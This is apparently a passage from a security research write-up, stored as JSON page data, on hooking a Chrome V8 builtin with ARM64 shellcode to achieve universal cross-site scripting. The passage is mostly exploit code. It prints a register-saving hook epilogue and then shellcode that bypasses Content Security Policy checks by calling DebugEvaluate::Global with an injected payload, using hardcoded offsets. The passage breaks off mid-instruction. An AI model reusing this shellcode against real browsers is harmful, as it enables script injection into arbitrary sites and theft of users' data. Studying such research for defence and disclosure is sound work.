#-16]!\n",{"type":26,"tag":217,"props":32709,"children":32710},{"class":7028,"line":7570},[32711],{"type":26,"tag":217,"props":32712,"children":32713},{},[32714],{"type":32,"value":32715},"stp x18, x19, [sp, #-16]!\n",{"type":26,"tag":217,"props":32717,"children":32718},{"class":7028,"line":7621},[32719],{"type":26,"tag":217,"props":32720,"children":32721},{},[32722],{"type":32,"value":32723},"stp x20, x21, [sp, #-16]!\n",{"type":26,"tag":217,"props":32725,"children":32726},{"class":7028,"line":7672},[32727],{"type":26,"tag":217,"props":32728,"children":32729},{},[32730],{"type":32,"value":32731},"stp x22, x23, [sp, #-16]!\n",{"type":26,"tag":217,"props":32733,"children":32734},{"class":7028,"line":7681},[32735],{"type":26,"tag":217,"props":32736,"children":32737},{},[32738],{"type":32,"value":32739},"stp x24, x25, [sp, #-16]!\n",{"type":26,"tag":217,"props":32741,"children":32742},{"class":7028,"line":7754},[32743],{"type":26,"tag":217,"props":32744,"children":32745},{},[32746],{"type":32,"value":32747},"stp x26, x27, [sp, #-16]!\n",{"type":26,"tag":217,"props":32749,"children":32750},{"class":7028,"line":7784},[32751],{"type":26,"tag":217,"props":32752,"children":32753},{},[32754],{"type":32,"value":32755},"stp x28, x29, [sp, #-16]!\n",{"type":26,"tag":217,"props":32757,"children":32758},{"class":7028,"line":7802},[32759],{"type":26,"tag":217,"props":32760,"children":32761},{},[32762],{"type":32,"value":32763},"str lr, [sp, #-16]!\n",{"type":26,"tag":39,"props":32765,"children":32766},{},[32767],{"type":32,"value":32768},"All registers are saved to the stack because we don't know which registers may be clobbered by functions invoked later.",{"type":26,"tag":39,"props":32770,"children":32771},{},[32772,32774,32779],{"type":32,"value":32773},"The epilogue restores all saved registers, restores the original instructions in ",{"type":26,"tag":83,"props":32775,"children":32777},{"className":32776},[],[32778],{"type":32,"value":31964},{"type":32,"value":32780},", and then returns execution to its beginning:",{"type":26,"tag":207,"props":32782,"children":32784},{"code":32783,"language":32017,"meta":8,"className":32018,"style":8},"// restore original instructions of Builtins_ConstructFunction\nldr lr, [sp], #16\n// move lr to the beginning of Builtins_ConstructFunction\nsub lr, lr, #{5 * INSTR_SIZE}\n{write_sc(orig_compile_instrs, \"lr\")}\n\n// wipe from cache\nmov x0, lr\n{WIPE_CACHE}\n\n// restore original registers\nldp x28, x29, [sp], #16\nldp x26, x27, [sp], #16\nldp x24, x25, [sp], #16\nldp x22, x23, [sp], #16\nldp x20, x21, [sp], #16\nldp x18, x19, [sp], #16\nldp x16, x17, [sp], #16\nldp x14, x15, [sp], #16\nldp x12, x13, [sp], #16\nldp x10, x11, [sp], #16\nldp x8,  x9,  [sp], #16\nldp x6,  x7,  [sp], #16\nldp x4,  x5,  [sp], #16\nldp x2,  x3,  [sp], #16\nldp x0,  x1,  [sp], #16\n\n// Builtins_ConstructFunction doesnt care about x4 and overwrites\n// it immediately, so we can clobber and use it as a return register.\n// This is done so lr isnt clobbered and ConstructFunction knows\n// where to return\nmov x4, lr\n\n// x15 and lr were saved in patched Builtins_ConstructFunction\nldp x15, lr, [sp], #16\n\nret x4\n",[32785],{"type":26,"tag":83,"props":32786,"children":32787},{"__ignoreMap":8},[32788,32796,32804,32812,32820,32828,32835,32842,32850,32857,32864,32872,32880,32888,32896,32904,32912,32920,32928,32936,32944,32952,32960,32968,32976,32984,32992,32999,33007,33015,33023,33031,33039,33046,33054,33062,33069],{"type":26,"tag":217,"props":32789,"children":32790},{"class":7028,"line":7029},[32791],{"type":26,"tag":217,"props":32792,"children":32793},{},[32794],{"type":32,"value":32795},"// restore original instructions of Builtins_ConstructFunction\n",{"type":26,"tag":217,"props":32797,"children":32798},{"class":7028,"line":6770},[32799],{"type":26,"tag":217,"props":32800,"children":32801},{},[32802],{"type":32,"value":32803},"ldr lr, [sp], #16\n",{"type":26,"tag":217,"props":32805,"children":32806},{"class":7028,"line":6779},[32807],{"type":26,"tag":217,"props":32808,"children":32809},{},[32810],{"type":32,"value":32811},"// move lr to the beginning of Builtins_ConstructFunction\n",{"type":26,"tag":217,"props":32813,"children":32814},{"class":7028,"line":7140},[32815],{"type":26,"tag":217,"props":32816,"children":32817},{},[32818],{"type":32,"value":32819},"sub lr, lr, #{5 * INSTR_SIZE}\n",{"type":26,"tag":217,"props":32821,"children":32822},{"class":7028,"line":7165},[32823],{"type":26,"tag":217,"props":32824,"children":32825},{},[32826],{"type":32,"value":32827},"{write_sc(orig_compile_instrs, \"lr\")}\n",{"type":26,"tag":217,"props":32829,"children":32830},{"class":7028,"line":7178},[32831],{"type":26,"tag":217,"props":32832,"children":32833},{"emptyLinePlaceholder":17},[32834],{"type":32,"value":7817},{"type":26,"tag":217,"props":32836,"children":32837},{"class":7028,"line":7389},[32838],{"type":26,"tag":217,"props":32839,"children":32840},{},[32841],{"type":32,"value":32370},{"type":26,"tag":217,"props":32843,"children":32844},{"class":7028,"line":7406},[32845],{"type":26,"tag":217,"props":32846,"children":32847},{},[32848],{"type":32,"value":32849},"mov x0, lr\n",{"type":26,"tag":217,"props":32851,"children":32852},{"class":7028,"line":7439},[32853],{"type":26,"tag":217,"props":32854,"children":32855},{},[32856],{"type":32,"value":32386},{"type":26,"tag":217,"props":32858,"children":32859},{"class":7028,"line":7487},[32860],{"type":26,"tag":217,"props":32861,"children":32862},{"emptyLinePlaceholder":17},[32863],{"type":32,"value":7817},{"type":26,"tag":217,"props":32865,"children":32866},{"class":7028,"line":7524},[32867],{"type":26,"tag":217,"props":32868,"children":32869},{},[32870],{"type":32,"value":32871},"// restore original registers\n",{"type":26,"tag":217,"props":32873,"children":32874},{"class":7028,"line":7553},[32875],{"type":26,"tag":217,"props":32876,"children":32877},{},[32878],{"type":32,"value":32879},"ldp x28, x29, [sp], #16\n",{"type":26,"tag":217,"props":32881,"children":32882},{"class":7028,"line":7570},[32883],{"type":26,"tag":217,"props":32884,"children":32885},{},[32886],{"type":32,"value":32887},"ldp x26, x27, [sp], #16\n",{"type":26,"tag":217,"props":32889,"children":32890},{"class":7028,"line":7621},[32891],{"type":26,"tag":217,"props":32892,"children":32893},{},[32894],{"type":32,"value":32895},"ldp x24, x25, [sp], #16\n",{"type":26,"tag":217,"props":32897,"children":32898},{"class":7028,"line":7672},[32899],{"type":26,"tag":217,"props":32900,"children":32901},{},[32902],{"type":32,"value":32903},"ldp x22, x23, [sp], #16\n",{"type":26,"tag":217,"props":32905,"children":32906},{"class":7028,"line":7681},[32907],{"type":26,"tag":217,"props":32908,"children":32909},{},[32910],{"type":32,"value":32911},"ldp x20, x21, [sp], #16\n",{"type":26,"tag":217,"props":32913,"children":32914},{"class":7028,"line":7754},[32915],{"type":26,"tag":217,"props":32916,"children":32917},{},[32918],{"type":32,"value":32919},"ldp x18, x19, [sp], #16\n",{"type":26,"tag":217,"props":32921,"children":32922},{"class":7028,"line":7784},[32923],{"type":26,"tag":217,"props":32924,"children":32925},{},[32926],{"type":32,"value":32927},"ldp x16, x17, [sp], #16\n",{"type":26,"tag":217,"props":32929,"children":32930},{"class":7028,"line":7802},[32931],{"type":26,"tag":217,"props":32932,"children":32933},{},[32934],{"type":32,"value":32935},"ldp x14, x15, [sp], #16\n",{"type":26,"tag":217,"props":32937,"children":32938},{"class":7028,"line":7811},[32939],{"type":26,"tag":217,"props":32940,"children":32941},{},[32942],{"type":32,"value":32943},"ldp x12, x13, [sp], #16\n",{"type":26,"tag":217,"props":32945,"children":32946},{"class":7028,"line":7820},[32947],{"type":26,"tag":217,"props":32948,"children":32949},{},[32950],{"type":32,"value":32951},"ldp x10, x11, [sp], #16\n",{"type":26,"tag":217,"props":32953,"children":32954},{"class":7028,"line":7844},[32955],{"type":26,"tag":217,"props":32956,"children":32957},{},[32958],{"type":32,"value":32959},"ldp x8,  x9,  [sp], #16\n",{"type":26,"tag":217,"props":32961,"children":32962},{"class":7028,"line":7910},[32963],{"type":26,"tag":217,"props":32964,"children":32965},{},[32966],{"type":32,"value":32967},"ldp x6,  x7,  [sp], #16\n",{"type":26,"tag":217,"props":32969,"children":32970},{"class":7028,"line":7954},[32971],{"type":26,"tag":217,"props":32972,"children":32973},{},[32974],{"type":32,"value":32975},"ldp x4,  x5,  [sp], #16\n",{"type":26,"tag":217,"props":32977,"children":32978},{"class":7028,"line":7985},[32979],{"type":26,"tag":217,"props":32980,"children":32981},{},[32982],{"type":32,"value":32983},"ldp x2,  x3,  [sp], #16\n",{"type":26,"tag":217,"props":32985,"children":32986},{"class":7028,"line":8027},[32987],{"type":26,"tag":217,"props":32988,"children":32989},{},[32990],{"type":32,"value":32991},"ldp x0,  x1,  [sp], #16\n",{"type":26,"tag":217,"props":32993,"children":32994},{"class":7028,"line":8035},[32995],{"type":26,"tag":217,"props":32996,"children":32997},{"emptyLinePlaceholder":17},[32998],{"type":32,"value":7817},{"type":26,"tag":217,"props":33000,"children":33001},{"class":7028,"line":8067},[33002],{"type":26,"tag":217,"props":33003,"children":33004},{},[33005],{"type":32,"value":33006},"// Builtins_ConstructFunction doesnt care about x4 and overwrites\n",{"type":26,"tag":217,"props":33008,"children":33009},{"class":7028,"line":8107},[33010],{"type":26,"tag":217,"props":33011,"children":33012},{},[33013],{"type":32,"value":33014},"// it immediately, so we can clobber and use it as a return register.\n",{"type":26,"tag":217,"props":33016,"children":33017},{"class":7028,"line":8145},[33018],{"type":26,"tag":217,"props":33019,"children":33020},{},[33021],{"type":32,"value":33022},"// This is done so lr isnt clobbered and ConstructFunction knows\n",{"type":26,"tag":217,"props":33024,"children":33025},{"class":7028,"line":8154},[33026],{"type":26,"tag":217,"props":33027,"children":33028},{},[33029],{"type":32,"value":33030},"// where to return\n",{"type":26,"tag":217,"props":33032,"children":33033},{"class":7028,"line":8162},[33034],{"type":26,"tag":217,"props":33035,"children":33036},{},[33037],{"type":32,"value":33038},"mov x4, lr\n",{"type":26,"tag":217,"props":33040,"children":33041},{"class":7028,"line":8197},[33042],{"type":26,"tag":217,"props":33043,"children":33044},{"emptyLinePlaceholder":17},[33045],{"type":32,"value":7817},{"type":26,"tag":217,"props":33047,"children":33048},{"class":7028,"line":8220},[33049],{"type":26,"tag":217,"props":33050,"children":33051},{},[33052],{"type":32,"value":33053},"// x15 and lr were saved in patched Builtins_ConstructFunction\n",{"type":26,"tag":217,"props":33055,"children":33056},{"class":7028,"line":8228},[33057],{"type":26,"tag":217,"props":33058,"children":33059},{},[33060],{"type":32,"value":33061},"ldp x15, lr, [sp], #16\n",{"type":26,"tag":217,"props":33063,"children":33064},{"class":7028,"line":8292},[33065],{"type":26,"tag":217,"props":33066,"children":33067},{"emptyLinePlaceholder":17},[33068],{"type":32,"value":7817},{"type":26,"tag":217,"props":33070,"children":33071},{"class":7028,"line":8351},[33072],{"type":26,"tag":217,"props":33073,"children":33074},{},[33075],{"type":32,"value":33076},"ret x4\n",{"type":26,"tag":39,"props":33078,"children":33079},{},[33080,33082,33087,33089,33094,33096,33102],{"type":32,"value":33081},"At this point, we have successfully hooked ",{"type":26,"tag":83,"props":33083,"children":33085},{"className":33084},[],[33086],{"type":32,"value":31964},{"type":32,"value":33088}," and can execute arbitrary shellcode whenever it is invoked from within the ",{"type":26,"tag":83,"props":33090,"children":33092},{"className":33091},[],[33093],{"type":32,"value":32480},{"type":32,"value":33095}," body. For our purposes, we want to evaluate an arbitrary JavaScript string to achieve UXSS, and the first function we examined for this was ",{"type":26,"tag":83,"props":33097,"children":33099},{"className":33098},[],[33100],{"type":32,"value":33101},"Builtins_GlobalEval",{"type":32,"value":180},{"type":26,"tag":39,"props":33104,"children":33105},{},[33106,33111,33113,33119,33121,33127],{"type":26,"tag":83,"props":33107,"children":33109},{"className":33108},[],[33110],{"type":32,"value":33101},{"type":32,"value":33112}," takes a single ",{"type":26,"tag":83,"props":33114,"children":33116},{"className":33115},[],[33117],{"type":32,"value":33118},"String",{"type":32,"value":33120}," argument that it evaluates. However, it comes with some complications. One notable issue is that it checks whether the Content Security Policy (CSP) allows the use of ",{"type":26,"tag":83,"props":33122,"children":33124},{"className":33123},[],[33125],{"type":32,"value":33126},"eval",{"type":32,"value":1473},{"type":26,"tag":207,"props":33129,"children":33133},{"code":33130,"language":33131,"meta":8,"className":33132,"style":8},"BUILTIN(GlobalEval) {\n  [...]\n\n  if (!Builtins::AllowDynamicFunction(isolate, target, target_global_proxy)) {\n    isolate->CountUsage(v8::Isolate::kFunctionConstructorReturnedUndefined);\n    return ReadOnlyRoots(isolate).undefined_value();\n  }\n","cpp","language-cpp shiki shiki-themes slack-dark",[33134],{"type":26,"tag":83,"props":33135,"children":33136},{"__ignoreMap":8},[33137,33150,33158,33165,33210,33232,33258],{"type":26,"tag":217,"props":33138,"children":33139},{"class":7028,"line":7029},[33140,33145],{"type":26,"tag":217,"props":33141,"children":33142},{"style":7064},[33143],{"type":32,"value":33144},"BUILTIN",{"type":26,"tag":217,"props":33146,"children":33147},{"style":7048},[33148],{"type":32,"value":33149},"(GlobalEval) {\n",{"type":26,"tag":217,"props":33151,"children":33152},{"class":7028,"line":6770},[33153],{"type":26,"tag":217,"props":33154,"children":33155},{"style":7048},[33156],{"type":32,"value":33157},"  [...]\n",{"type":26,"tag":217,"props":33159,"children":33160},{"class":7028,"line":6779},[33161],{"type":26,"tag":217,"props":33162,"children":33163},{"emptyLinePlaceholder":17},[33164],{"type":32,"value":7817},{"type":26,"tag":217,"props":33166,"children":33167},{"class":7028,"line":7140},[33168,33173,33178,33182,33187,33191,33196,33200,33205],{"type":26,"tag":217,"props":33169,"children":33170},{"style":7048},[33171],{"type":32,"value":33172},"  if (!Builtins::",{"type":26,"tag":217,"props":33174,"children":33175},{"style":7119},[33176],{"type":32,"value":33177},"AllowDynamicFunction",{"type":26,"tag":217,"props":33179,"children":33180},{"style":7048},[33181],{"type":32,"value":1851},{"type":26,"tag":217,"props":33183,"children":33184},{"style":7119},[33185],{"type":32,"value":33186},"isolate",{"type":26,"tag":217,"props":33188,"children":33189},{"style":7048},[33190],{"type":32,"value":7599},{"type":26,"tag":217,"props":33192,"children":33193},{"style":7119},[33194],{"type":32,"value":33195},"target",{"type":26,"tag":217,"props":33197,"children":33198},{"style":7048},[33199],{"type":32,"value":7599},{"type":26,"tag":217,"props":33201,"children":33202},{"style":7119},[33203],{"type":32,"value":33204},"target_global_proxy",{"type":26,"tag":217,"props":33206,"children":33207},{"style":7048},[33208],{"type":32,"value":33209},")) {\n",{"type":26,"tag":217,"props":33211,"children":33212},{"class":7028,"line":7165},[33213,33218,33222,33227],{"type":26,"tag":217,"props":33214,"children":33215},{"style":7054},[33216],{"type":32,"value":33217},"    isolate",{"type":26,"tag":217,"props":33219,"children":33220},{"style":7048},[33221],{"type":32,"value":10115},{"type":26,"tag":217,"props":33223,"children":33224},{"style":7064},[33225],{"type":32,"value":33226},"CountUsage",{"type":26,"tag":217,"props":33228,"children":33229},{"style":7048},[33230],{"type":32,"value":33231},"(v8::Isolate::kFunctionConstructorReturnedUndefined);\n",{"type":26,"tag":217,"props":33233,"children":33234},{"class":7028,"line":7178},[33235,33239,33244,33249,33254],{"type":26,"tag":217,"props":33236,"children":33237},{"style":7042},[33238],{"type":32,"value":7171},{"type":26,"tag":217,"props":33240,"children":33241},{"style":7064},[33242],{"type":32,"value":33243}," ReadOnlyRoots",{"type":26,"tag":217,"props":33245,"children":33246},{"style":7048},[33247],{"type":32,"value":33248},"(isolate).",{"type":26,"tag":217,"props":33250,"children":33251},{"style":7064},[33252],{"type":32,"value":33253},"undefined_value",{"type":26,"tag":217,"props":33255,"children":33256},{"style":7048},[33257],{"type":32,"value":8217},{"type":26,"tag":217,"props":33259,"children":33260},{"class":7028,"line":7389},[33261],{"type":26,"tag":217,"props":33262,"children":33263},{"style":7048},[33264],{"type":32,"value":16086},{"type":26,"tag":39,"props":33266,"children":33267},{},[33268,33270,33275],{"type":32,"value":33269},"This means we would need to patch the function further to ensure it never enters this ",{"type":26,"tag":83,"props":33271,"children":33273},{"className":33272},[],[33274],{"type":32,"value":7045},{"type":32,"value":33276}," block.",{"type":26,"tag":39,"props":33278,"children":33279},{},[33280],{"type":32,"value":33281},"Alternatively, we could replicate the calls made once the security checks pass:",{"type":26,"tag":207,"props":33283,"children":33285},{"code":33284,"language":33131,"meta":8,"className":33132,"style":8},"BUILTIN(GlobalEval) {\n\n  [...]\n\n  DirectHandle\u003CJSFunction> function;\n  ASSIGN_RETURN_FAILURE_ON_EXCEPTION(\n      isolate, function,\n      Compiler::GetFunctionFromValidatedString(\n          direct_handle(target->native_context(), isolate), source,\n          NO_PARSE_RESTRICTION, kNoSourcePosition));\n  RETURN_RESULT_OR_FAILURE(\n      isolate, Execution::Call(isolate, function, target_global_proxy, {}));\n",[33286],{"type":26,"tag":83,"props":33287,"children":33288},{"__ignoreMap":8},[33289,33300,33307,33314,33321,33329,33341,33349,33366,33396,33404,33416],{"type":26,"tag":217,"props":33290,"children":33291},{"class":7028,"line":7029},[33292,33296],{"type":26,"tag":217,"props":33293,"children":33294},{"style":7064},[33295],{"type":32,"value":33144},{"type":26,"tag":217,"props":33297,"children":33298},{"style":7048},[33299],{"type":32,"value":33149},{"type":26,"tag":217,"props":33301,"children":33302},{"class":7028,"line":6770},[33303],{"type":26,"tag":217,"props":33304,"children":33305},{"emptyLinePlaceholder":17},[33306],{"type":32,"value":7817},{"type":26,"tag":217,"props":33308,"children":33309},{"class":7028,"line":6779},[33310],{"type":26,"tag":217,"props":33311,"children":33312},{"style":7048},[33313],{"type":32,"value":33157},{"type":26,"tag":217,"props":33315,"children":33316},{"class":7028,"line":7140},[33317],{"type":26,"tag":217,"props":33318,"children":33319},{"emptyLinePlaceholder":17},[33320],{"type":32,"value":7817},{"type":26,"tag":217,"props":33322,"children":33323},{"class":7028,"line":7165},[33324],{"type":26,"tag":217,"props":33325,"children":33326},{"style":7048},[33327],{"type":32,"value":33328},"  DirectHandle\u003CJSFunction> function;\n",{"type":26,"tag":217,"props":33330,"children":33331},{"class":7028,"line":7178},[33332,33337],{"type":26,"tag":217,"props":33333,"children":33334},{"style":7064},[33335],{"type":32,"value":33336},"  ASSIGN_RETURN_FAILURE_ON_EXCEPTION",{"type":26,"tag":217,"props":33338,"children":33339},{"style":7048},[33340],{"type":32,"value":10932},{"type":26,"tag":217,"props":33342,"children":33343},{"class":7028,"line":7389},[33344],{"type":26,"tag":217,"props":33345,"children":33346},{"style":7048},[33347],{"type":32,"value":33348},"      isolate, function,\n",{"type":26,"tag":217,"props":33350,"children":33351},{"class":7028,"line":7406},[33352,33357,33362],{"type":26,"tag":217,"props":33353,"children":33354},{"style":7048},[33355],{"type":32,"value":33356},"      Compiler::",{"type":26,"tag":217,"props":33358,"children":33359},{"style":7064},[33360],{"type":32,"value":33361},"GetFunctionFromValidatedString",{"type":26,"tag":217,"props":33363,"children":33364},{"style":7048},[33365],{"type":32,"value":10932},{"type":26,"tag":217,"props":33367,"children":33368},{"class":7028,"line":7439},[33369,33374,33378,33382,33386,33391],{"type":26,"tag":217,"props":33370,"children":33371},{"style":7064},[33372],{"type":32,"value":33373},"          direct_handle",{"type":26,"tag":217,"props":33375,"children":33376},{"style":7048},[33377],{"type":32,"value":1851},{"type":26,"tag":217,"props":33379,"children":33380},{"style":7054},[33381],{"type":32,"value":33195},{"type":26,"tag":217,"props":33383,"children":33384},{"style":7048},[33385],{"type":32,"value":10115},{"type":26,"tag":217,"props":33387,"children":33388},{"style":7064},[33389],{"type":32,"value":33390},"native_context",{"type":26,"tag":217,"props":33392,"children":33393},{"style":7048},[33394],{"type":32,"value":33395},"(), isolate), source,\n",{"type":26,"tag":217,"props":33397,"children":33398},{"class":7028,"line":7487},[33399],{"type":26,"tag":217,"props":33400,"children":33401},{"style":7048},[33402],{"type":32,"value":33403},"          NO_PARSE_RESTRICTION, kNoSourcePosition));\n",{"type":26,"tag":217,"props":33405,"children":33406},{"class":7028,"line":7524},[33407,33412],{"type":26,"tag":217,"props":33408,"children":33409},{"style":7064},[33410],{"type":32,"value":33411},"  RETURN_RESULT_OR_FAILURE",{"type":26,"tag":217,"props":33413,"children":33414},{"style":7048},[33415],{"type":32,"value":10932},{"type":26,"tag":217,"props":33417,"children":33418},{"class":7028,"line":7553},[33419,33424,33429],{"type":26,"tag":217,"props":33420,"children":33421},{"style":7048},[33422],{"type":32,"value":33423},"      isolate, Execution::",{"type":26,"tag":217,"props":33425,"children":33426},{"style":7064},[33427],{"type":32,"value":33428},"Call",{"type":26,"tag":217,"props":33430,"children":33431},{"style":7048},[33432],{"type":32,"value":33433},"(isolate, function, target_global_proxy, {}));\n",{"type":26,"tag":39,"props":33435,"children":33436},{},[33437,33439,33444,33446,33452,33454,33460,33462,33468],{"type":32,"value":33438},"But determining the correct ",{"type":26,"tag":83,"props":33440,"children":33442},{"className":33441},[],[33443],{"type":32,"value":33195},{"type":32,"value":33445}," value, obtaining ",{"type":26,"tag":83,"props":33447,"children":33449},{"className":33448},[],[33450],{"type":32,"value":33451},"target->native_context()",{"type":32,"value":33453},", and locating the ",{"type":26,"tag":83,"props":33455,"children":33457},{"className":33456},[],[33458],{"type":32,"value":33459},"direct_handle",{"type":32,"value":33461}," function, just to make a proper call to ",{"type":26,"tag":83,"props":33463,"children":33465},{"className":33464},[],[33466],{"type":32,"value":33467},"Compiler::GetFunctionFromValidatedString",{"type":32,"value":33469},", seemed unnecessarily cumbersome.",{"type":26,"tag":39,"props":33471,"children":33472},{},[33473,33475,33481],{"type":32,"value":33474},"Instead, we found a much simpler option with no security checks: ",{"type":26,"tag":83,"props":33476,"children":33478},{"className":33477},[],[33479],{"type":32,"value":33480},"DebugEvaluate::Global",{"type":32,"value":33482},". This function is used by the DevTools console to evaluate JavaScript entered there.",{"type":26,"tag":39,"props":33484,"children":33485},{},[33486],{"type":32,"value":33487},"For our needs, it is straightforward to call:",{"type":26,"tag":207,"props":33489,"children":33491},{"code":33490,"language":33131,"meta":8,"className":33132,"style":8},"MaybeDirectHandle\u003CObject> DebugEvaluate::Global(Isolate* isolate,\n                                                Handle\u003CString> source,\n                                                debug::EvaluateGlobalMode mode,\n                                                REPLMode repl_mode);\n",[33492],{"type":26,"tag":83,"props":33493,"children":33494},{"__ignoreMap":8},[33495,33544,33573,33595],{"type":26,"tag":217,"props":33496,"children":33497},{"class":7028,"line":7029},[33498,33503,33507,33512,33517,33522,33526,33531,33535,33540],{"type":26,"tag":217,"props":33499,"children":33500},{"style":7119},[33501],{"type":32,"value":33502},"MaybeDirectHandle",{"type":26,"tag":217,"props":33504,"children":33505},{"style":7048},[33506],{"type":32,"value":7289},{"type":26,"tag":217,"props":33508,"children":33509},{"style":7119},[33510],{"type":32,"value":33511},"Object",{"type":26,"tag":217,"props":33513,"children":33514},{"style":7048},[33515],{"type":32,"value":33516},"> DebugEvaluate::",{"type":26,"tag":217,"props":33518,"children":33519},{"style":7064},[33520],{"type":32,"value":33521},"Global",{"type":26,"tag":217,"props":33523,"children":33524},{"style":7048},[33525],{"type":32,"value":1851},{"type":26,"tag":217,"props":33527,"children":33528},{"style":7119},[33529],{"type":32,"value":33530},"Isolate",{"type":26,"tag":217,"props":33532,"children":33533},{"style":7154},[33534],{"type":32,"value":10006},{"type":26,"tag":217,"props":33536,"children":33537},{"style":7054},[33538],{"type":32,"value":33539}," isolate",{"type":26,"tag":217,"props":33541,"children":33542},{"style":7048},[33543],{"type":32,"value":10953},{"type":26,"tag":217,"props":33545,"children":33546},{"class":7028,"line":6770},[33547,33552,33556,33560,33565,33569],{"type":26,"tag":217,"props":33548,"children":33549},{"style":7119},[33550],{"type":32,"value":33551},"                                                Handle",{"type":26,"tag":217,"props":33553,"children":33554},{"style":7048},[33555],{"type":32,"value":7289},{"type":26,"tag":217,"props":33557,"children":33558},{"style":7119},[33559],{"type":32,"value":33118},{"type":26,"tag":217,"props":33561,"children":33562},{"style":7048},[33563],{"type":32,"value":33564},"> ",{"type":26,"tag":217,"props":33566,"children":33567},{"style":7054},[33568],{"type":32,"value":18807},{"type":26,"tag":217,"props":33570,"children":33571},{"style":7048},[33572],{"type":32,"value":10953},{"type":26,"tag":217,"props":33574,"children":33575},{"class":7028,"line":6779},[33576,33581,33586,33591],{"type":26,"tag":217,"props":33577,"children":33578},{"style":7048},[33579],{"type":32,"value":33580},"                                                debug::",{"type":26,"tag":217,"props":33582,"children":33583},{"style":7119},[33584],{"type":32,"value":33585},"EvaluateGlobalMode",{"type":26,"tag":217,"props":33587,"children":33588},{"style":7054},[33589],{"type":32,"value":33590}," mode",{"type":26,"tag":217,"props":33592,"children":33593},{"style":7048},[33594],{"type":32,"value":10953},{"type":26,"tag":217,"props":33596,"children":33597},{"class":7028,"line":7140},[33598,33603,33608],{"type":26,"tag":217,"props":33599,"children":33600},{"style":7119},[33601],{"type":32,"value":33602},"                                                REPLMode",{"type":26,"tag":217,"props":33604,"children":33605},{"style":7054},[33606],{"type":32,"value":33607}," repl_mode",{"type":26,"tag":217,"props":33609,"children":33610},{"style":7048},[33611],{"type":32,"value":7669},{"type":26,"tag":39,"props":33613,"children":33614},{},[33615,33617,33622,33624,33629,33631,33636,33638,33644,33645,33651],{"type":32,"value":33616},"We must supply the ",{"type":26,"tag":83,"props":33618,"children":33620},{"className":33619},[],[33621],{"type":32,"value":33186},{"type":32,"value":33623}," pointer, a ",{"type":26,"tag":83,"props":33625,"children":33627},{"className":33626},[],[33628],{"type":32,"value":33118},{"type":32,"value":33630}," object containing our XSS payload as ",{"type":26,"tag":83,"props":33632,"children":33634},{"className":33633},[],[33635],{"type":32,"value":18807},{"type":32,"value":33637},", and the ",{"type":26,"tag":83,"props":33639,"children":33641},{"className":33640},[],[33642],{"type":32,"value":33643},"mode",{"type":32,"value":1308},{"type":26,"tag":83,"props":33646,"children":33648},{"className":33647},[],[33649],{"type":32,"value":33650},"repl_mode",{"type":32,"value":33652}," values, which are simple enum literals.",{"type":26,"tag":39,"props":33654,"children":33655},{},[33656,33658,33663,33665,33671,33673,33678,33680,33685,33687,33693,33695,33701,33703,33708,33710,33716,33718,33724,33726,33731],{"type":32,"value":33657},"To obtain the ",{"type":26,"tag":83,"props":33659,"children":33661},{"className":33660},[],[33662],{"type":32,"value":33186},{"type":32,"value":33664}," pointer within our shellcode, we call ",{"type":26,"tag":83,"props":33666,"children":33668},{"className":33667},[],[33669],{"type":32,"value":33670},"Isolate::TryGetCurrent()",{"type":32,"value":33672},", which returns the current ",{"type":26,"tag":83,"props":33674,"children":33676},{"className":33675},[],[33677],{"type":32,"value":33186},{"type":32,"value":33679},". To construct a valid ",{"type":26,"tag":83,"props":33681,"children":33683},{"className":33682},[],[33684],{"type":32,"value":33118},{"type":32,"value":33686}," object holding our payload, we call ",{"type":26,"tag":83,"props":33688,"children":33690},{"className":33689},[],[33691],{"type":32,"value":33692},"v8::String::NewFromUTF8",{"type":32,"value":33694},". This ",{"type":26,"tag":83,"props":33696,"children":33698},{"className":33697},[],[33699],{"type":32,"value":33700},"NewFromUTF8",{"type":32,"value":33702}," function takes four arguments: the ",{"type":26,"tag":83,"props":33704,"children":33706},{"className":33705},[],[33707],{"type":32,"value":33186},{"type":32,"value":33709},", the string bytes as ",{"type":26,"tag":83,"props":33711,"children":33713},{"className":33712},[],[33714],{"type":32,"value":33715},"data",{"type":32,"value":33717},", an enum literal specifying the string type, and ",{"type":26,"tag":83,"props":33719,"children":33721},{"className":33720},[],[33722],{"type":32,"value":33723},"length",{"type":32,"value":33725},", which is the size of the ",{"type":26,"tag":83,"props":33727,"children":33729},{"className":33728},[],[33730],{"type":32,"value":33715},{"type":32,"value":33732}," buffer.",{"type":26,"tag":39,"props":33734,"children":33735},{},[33736],{"type":32,"value":33737},"The resulting shellcode that executes our XSS payload looks like this:",{"type":26,"tag":207,"props":33739,"children":33741},{"code":33740,"language":32017,"meta":8,"className":32018,"style":8},"// get isolate ptr, v8::Isolate::TryGetCurrent(0x9ba3bd0)\nmovz x1, #0xf7a0\nmovk x1, #0x0071, lsl #16\nadd x9, x12, x1\nmovz x1, #0x5ac8\nmovk x1, #0x054f, lsl #16\nadd x0, x12, x1\nblr x9\n// *x0 is isolate pointer\n// store isolate ptr to stack\nldr x13, [x0]\nstr x13, [sp, #-16]!\n\n// store x10 = v8::String::NewFromUTF8\nmovz x1, #0x1140\nmovk x1, #0x0242, lsl #16\nsub x10, x12, x1\n\n// mmap a RW page for our xss payload\nmov x0, #0\nmov x1, #{page_align(len(XSS_PAYLOAD))}\nmov x2, #3\nmov x3, #34\nmov x4, #-1\nmov x5, #0\nmov x8, #222\nsvc #0\n\n// write our xss payload to mmapped rw page\n{write_str(XSS_PAYLOAD, \"x0\")}\n\n// store x11 = XSS_PAYLOAD string\nmov x11, x0\n\n// pop back isolate pointer\nldr x13, [sp], #16\n\n// at this point:\n// x13 = isolate *\n// x11 = XSS_PAYLOAD string mmapped region\n// x10 = v8::String::NewFromUtf8\n\n// call v8::String::NewFromUTF8 with our xss_payload\n// arg0 = isolate *\nmov x0, x13\n// arg1 = char *c_str\nmov x1, x11\n// arg2 = type = kNormal\nmov x2, #0\n// arg4 = length\nmov w3, #{len(XSS_PAYLOAD)}\n// call NewFromUTF8\nblr x10\n\n// store x14 = String XSS_PAYLOAD\nmov x14, x0\n\n// store x9 = v8::internal::DebugEvaluate::Global\nmovz x1, #0xe44c\nmovk x1, #0x014e, lsl #16\nsub x9, x12, x1\n\n// call v8::internal::DebugEvaluate::Global\n// arg0 = isolate *\nmov x0, x13\n// arg1 = String *source\nmov x1, x14\n// arg2 = mode = kDefault\nmov x2, #0\n// arg3 = repl_mode = kYes\nmov x3, #0\n\nblr 